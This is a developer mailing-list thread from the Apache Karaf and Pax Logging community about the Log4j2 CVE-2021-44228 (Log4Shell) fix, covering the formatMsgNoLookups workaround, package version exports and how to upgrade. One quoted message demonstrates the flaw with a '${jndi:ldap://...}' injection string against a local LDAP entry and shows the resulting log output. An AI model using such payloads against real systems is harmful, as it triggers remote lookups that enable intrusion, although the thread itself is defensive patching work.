Hi Grzegorz,
Thanks, that's clear now.
Another question: what is the simplest way of upgrading pax logging to
2.0.11 in my current Karaf 4.3.2 distro ? Should I blacklist the 2.0.9
dependencies and add the 2.0.11 ones to my features.xml, or is there a
better option ?
Kind regards,
Steven
On Mon, Dec 13, 2021 at 11:57 AM Grzegorz Grzybek <gr.grzy...@gmail.com>
wrote:
> Hello
>
> The multiple export trick/hack/improvement/convenience is to make it easier
> to upgrade pax logging itself without affecting the OSGi users.
> Pax Logging *has to* export Log4j2 packages at version of the ONLY Log4j2
> library it uses (private-packages + re-exports), but it also declares that
> the exports match earlier versions.
> So if your application has:
>
> Import-Package: org.apache.logging.log4j; version="[2.13,2.14)"
>
> Just because it was built by maven-bundle-plugin that for some reasons used
> more strict version range policy, the multiple versions exported by Pax
> Logging bundles won't break your application.
> It's a way of telling - if you're using our API at given version, we
> provide compatible interfaces. But the underlying implementation is (for
> pax logging 2.0.11) is log4j2 2.15.0 (so with the CVE fix).
>
> regards
> Grzegorz Grzybek
>
> pon., 13 gru 2021 o 11:42 Steven Huypens <steven.huyp...@gmail.com>
> napisał(a):
>
> > Hi all,
> >
> > We are using pax logging 2.0.9, but I can see it exports log4j2 packages
> > for different versions: 2.9.1, 2.13.3 & 2.14.1
> >
> > Since one of those versions is not higher than 2.10, it's not clear to me
> > if the system property log4j.formatMsgNoLookup will fix the issue for our
> > application. Anyone knows ?
> >
> > Kind regards,
> > Steven
> >
> > On Fri, Dec 10, 2021 at 11:26 PM Bernd Eckenfels <e...@zusammenkunft.net
> >
> > wrote:
> >
> > > I am currently working on a description for a work around (specifying
> the
> > > system property) but I can’t get it to work.
> > >
> > > It still expands ${java:version}. I checked that it shows with
> > > “system:property log4j.formatMsgNoLookup” true and there seems to be no
> > > %m{lookup} setting.
> > >
> > > I am using pax logging 2.0.8 which is containing log4j 2.14.1 (I.e a
> > > version newer than 2.10).
> > >
> > > Any idea?
> > >
> > > Is it possible that the shaded pax-logging-log4j does not honor the
> > system
> > > property of log4j?
> > >
> > >
> > > --
> > > https://bernd.eckenfels.net
> > > ________________________________
> > > From: Grzegorz Grzybek <gr.grzy...@gmail.com>
> > > Sent: Friday, December 10, 2021 1:43:00 PM
> > > To: dev@karaf.apache.org <dev@karaf.apache.org>
> > > Subject: Re: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> > released
> > >
> > > Hello
> > >
> > > Actually, https://issues.apache.org/jira/browse/LOG4J2-3198 describes
> it
> > > in
> > > details.
> > >
> > > I was a bit surprised too - I knew about e.g., `${java:version}` if you
> > > used it in pattern layout configuration - I didn't expect Log4j2 to
> > > interpolate the messages passed to log() methods as well!
> > >
> > > But you can try (in Karaf):
> > >
> > > karaf@root()> log:log 'xxx ${java:version} xxx'
> > >
> > > And you'll see (in the logs):
> > >
> > > 2021-12-10 13:39:25,243 INFO {pipe-log:log 'xxx ${java:version} xxx'}
> > > [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> > xxx
> > > Java version 1.8.0_312 xxx
> > >
> > > so a message has been interpolated.
> > >
> > > What's worse, I could add an entry to my OpenLDAP with:
> > >
> > > javaClassName: java.lang.String
> > > javaSerializedData:: rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr
> > >
> > > And then:
> > >
> > > karaf@root()> log:log '${jndi:ldap://
> > 10.39.192.99/cn=boom,dc=k8s,dc=forest
> > > }'
> > >
> > > gave me this in logs:
> > >
> > > 2021-12-10 13:40:38,181 INFO {pipe-log:log '${jndi:ldap://
> > > 10.39.192.99/cn=boom,dc=k8s,dc=forest}
> > > <http://10.39.192.99/cn=boom,dc=k8s,dc=forest%7D>'}
> > > [org.apache.karaf.log.command.LogEntry.execute()] (LogEntry.java:57) :
> > > http://localhost/attack
> > >
> > > "http://localhost/attack"; is the deserialized value from
> > > "rO0ABXQAF2h0dHA6Ly9sb2NhbGhvc3QvYXR0YWNr" LDAP attribute.
> > >
> > > While you can't use "javaCodeBase" LDAP attribute to point to malicius
> > URL
> > > code base (thanks to "com.sun.jndi.ldap.object.trustURLCodebase" system
> > > property that defaults to "false" since 2009), you still have a remote
> > > request being performed when logging messages with ${jndi:ldap://
> > > example.com
> > > }.
> > >
> > > regards
> > > Grzegorz Grzybek
> > >
> > > pt., 10 gru 2021 o 13:28 Bernd Eckenfels <e...@zusammenkunft.net>
> > > napisał(a):
> > >
> > > > Hello Grzegorz,
> > > >
> > > > Thanks a lot for the super quick reaction.
> > > >
> > > > I was rather confused to see that log messages can trigger a JNDI
> > lookup
> > > > anyway. Do you think there should be hardened something here?
> > > >
> > > > Do you know if that is triggered by malicious log config or by
> > malicious
> > > > log messages and does it only affect systems where the JMSAppender is
> > > > actually used?
> > > >
> > > > Gruss
> > > > Bernd
> > > >
> > > >
> > > > --
> > > > http://bernd.eckenfels.net
> > > > ________________________________
> > > > Von: Grzegorz Grzybek <gr.grzy...@gmail.com>
> > > > Gesendet: Friday, December 10, 2021 12:20:02 PM
> > > > An: ops4j-announcem...@googlegroups.com <
> > > > ops4j-announcem...@googlegroups.com>; Karaf Dev <
> dev@karaf.apache.org
> > >;
> > > > d...@felix.apache.org <d...@felix.apache.org>
> > > > Betreff: [ANN][CVE-2021-44228] Pax Logging 2.0.11 and 1.11.10
> released
> > > >
> > > > Hello
> > > >
> > > > Pax Logging 2.0.11 and 1.11.10 have been released with CVE-2021-44228
> > > fix.
> > > >
> > > > *Log4j2 has been updated to version 2.15.0.*
> > > >
> > > > The changelog is available at GitHub:
> > > > https://github.com/ops4j/org.ops4j.pax.logging/milestone/72?closed=1
> > > >
> > > > kind regards
> > > > Grzegorz Grzybek
> > > >
> > >
> >
>
